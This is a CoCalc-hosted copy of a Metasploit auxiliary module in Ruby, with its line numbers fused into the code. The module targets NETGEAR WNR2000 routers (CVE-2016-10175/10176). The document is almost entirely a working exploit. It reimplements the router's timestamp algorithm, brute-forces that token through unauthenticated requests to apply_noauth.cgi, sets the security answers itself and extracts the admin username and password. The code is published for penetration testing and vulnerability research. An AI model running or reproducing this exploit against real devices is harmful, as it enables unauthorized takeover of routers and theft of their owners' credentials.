CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'time'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::HttpClient9include Msf::Auxiliary::CRand1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',16'Description' => %q{17The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.18This vulnerability can be exploited by an unauthenticated attacker who is able to guess19the value of a certain timestamp which is in the configuration of the router.20Brute forcing the timestamp token might take a few minutes, a few hours, or days, but21it is guaranteed that it can be bruteforced.22This module works very reliably and it has been tested with the WNR2000v5, firmware versions231.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this24has not been tested.25},26'Author' => [27'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module28],29'License' => MSF_LICENSE,30'References' => [31['CVE', '2016-10175'],32['CVE', '2016-10176'],33['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],34['URL', 'https://seclists.org/fulldisclosure/2016/Dec/72'],35['URL', 'https://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']36],37'DisclosureDate' => '2016-12-20'38)39)40register_options(41[42Opt::RPORT(80)43]44)45register_advanced_options(46[47OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),48OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])49]50)51end5253def get_current_time54res = send_request_cgi({55'uri' => '/',56'method' => 'GET'57})58if res && res['Date']59date = res['Date']60return Time.parse(date).strftime('%s').to_i61end62end6364# Do some crazyness to force Ruby to cast to a single-precision float and65# back to an integer.66# This emulates the behaviour of the soft-fp library and the float cast67# which is done at the end of Netgear's timestamp generator.68def ieee754_round(number)69[number].pack('f').unpack('f*')[0].to_i70end7172# This is the actual algorithm used in the get_timestamp function in73# the Netgear firmware.74def get_timestamp(time)75srandom_r time76t0 = random_r77t1 = 0x17dc65df78hi = (t0 * t1) >> 3279t2 = t0 >> 3180t3 = hi >> 2381t3 -= t282t4 = t3 * 0x55d4a8083t0 -= t484t0 += 0x9896808586ieee754_round(t0)87end8889def get_creds90res = send_request_cgi({91'uri' => '/BRS_netgear_success.html',92'method' => 'GET'93})94if res && res.body =~ /var sn="(\w*)";/95serial = ::Regexp.last_match(1)96else97fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")98end99100# 1: send serial number101send_request_cgi({102'uri' => '/apply_noauth.cgi',103'query' => '/unauth.cgi',104'method' => 'POST',105'Content-Type' => 'application/x-www-form-urlencoded',106'vars_post' =>107{108'submit_flag' => 'match_sn',109'serial_num' => serial,110'continue' => '+Continue+'111}112})113114# 2: send answer to secret questions115send_request_cgi({116'uri' => '/apply_noauth.cgi',117'query' => '/securityquestions.cgi',118'method' => 'POST',119'Content-Type' => 'application/x-www-form-urlencoded',120'vars_post' =>121{122'submit_flag' => 'security_question',123'answer1' => @q1,124'answer2' => @q2,125'continue' => '+Continue+'126}127})128129# 3: PROFIT!!!130res = send_request_cgi({131'uri' => '/passwordrecovered.cgi',132'method' => 'GET'133})134135if res && res.body =~ %r{Admin Password: (.*)</TD>}136password = ::Regexp.last_match(1)137if password.blank?138fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?")139end140else141fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")142end143144if res && res.body =~ %r{Admin Username: (.*)</TD>}145username = ::Regexp.last_match(1)146else147fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")148end149150return [username, password]151end152153def send_req(timestamp)154query_str = (if timestamp.nil?155'/PWD_password.htm'156else157"/PWD_password.htm%20timestamp=#{timestamp}"158end)159res = send_request_raw({160'uri' => '/apply_noauth.cgi',161'query' => query_str,162'method' => 'POST',163'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },164'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"165})166return res167rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e168return169end170171def run172# generate the security questions173@q1 = Rex::Text.rand_text_alpha(rand(2..21))174@q2 = Rex::Text.rand_text_alpha(rand(2..21))175176# let's try without timestamp first (the timestamp only gets set if the user visited the page before)177print_status("#{peer} - Trying the easy way out first")178res = send_req(nil)179if res && res.code == 200180credentials = get_creds181print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")182return183end184185# no result? let's just go on and bruteforce the timestamp186print_error("#{peer} - Well that didn't work... let's do it the hard way.")187188# get the current date from the router and parse it189end_time = get_current_time190if end_time.nil?191fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")192end193if end_time <= datastore['TIME_OFFSET']194start_time = 0195else196start_time = end_time - datastore['TIME_OFFSET']197end198end_time += datastore['TIME_SURPLUS']199200if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i201end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i202end203204print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")205print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")206207# work back from the current router time minus datastore['TIME_OFFSET']208loop do209for time in end_time.downto(start_time)210timestamp = get_timestamp(time)211sleep 0.1212if time % 400 == 0213print_status("#{peer} - Still working, trying time #{time}")214end215res = send_req(timestamp)216next unless res && res.code == 200217218credentials = get_creds219print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")220store_valid_credential(user: credentials[0], private: credentials[1]) # more consistent service_name and protocol, now supplies ip and port221return222end223end_time = start_time224start_time -= datastore['TIME_OFFSET']225if start_time < 0226if end_time <= datastore['TIME_OFFSET']227fail_with(Failure::Unknown, "#{peer} - Exploit failed")228end229start_time = 0230end231print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")232233# let the router clear the buffers a bit...234sleep 30235end236end237end238239240